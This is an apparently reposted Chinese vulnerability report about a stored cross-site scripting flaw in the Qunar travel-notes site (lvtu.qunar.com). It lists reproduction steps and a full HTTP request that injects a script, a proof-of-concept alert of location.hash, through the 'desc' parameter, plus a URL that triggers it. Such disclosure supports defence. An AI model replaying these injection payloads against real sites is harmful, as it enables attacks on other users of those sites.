来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] 在旅途频道，1、发表一篇游记2、添加一批图片3、在图片下方插入文本4、截包修改，desc参数存在问题。如下：GET /mobile_ugc/web/editMiniPic.htm?picId=80371desc=scriptif(location.hash!%3D)alert(locat......
|
在旅途频道，
1、发表一篇游记
2、添加一批图片
3、在图片下方插入文本
4、截包修改，desc参数存在问题。如下：
GET /mobile_ugc/web/editMiniPic.htm?picId=80371&desc=<script>if(location.hash!%3D"")alert(location.hash)</script>&random=1348498825316 HTTP/1.1
Host: lvtu.qunar.com
Proxy-Connection: Keep-Alive
Cookie: ……
访问该地址看效果
http://lvtu.qunar.com/mobile_ugc/web/album.htm?albumId=4228#aaa
 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
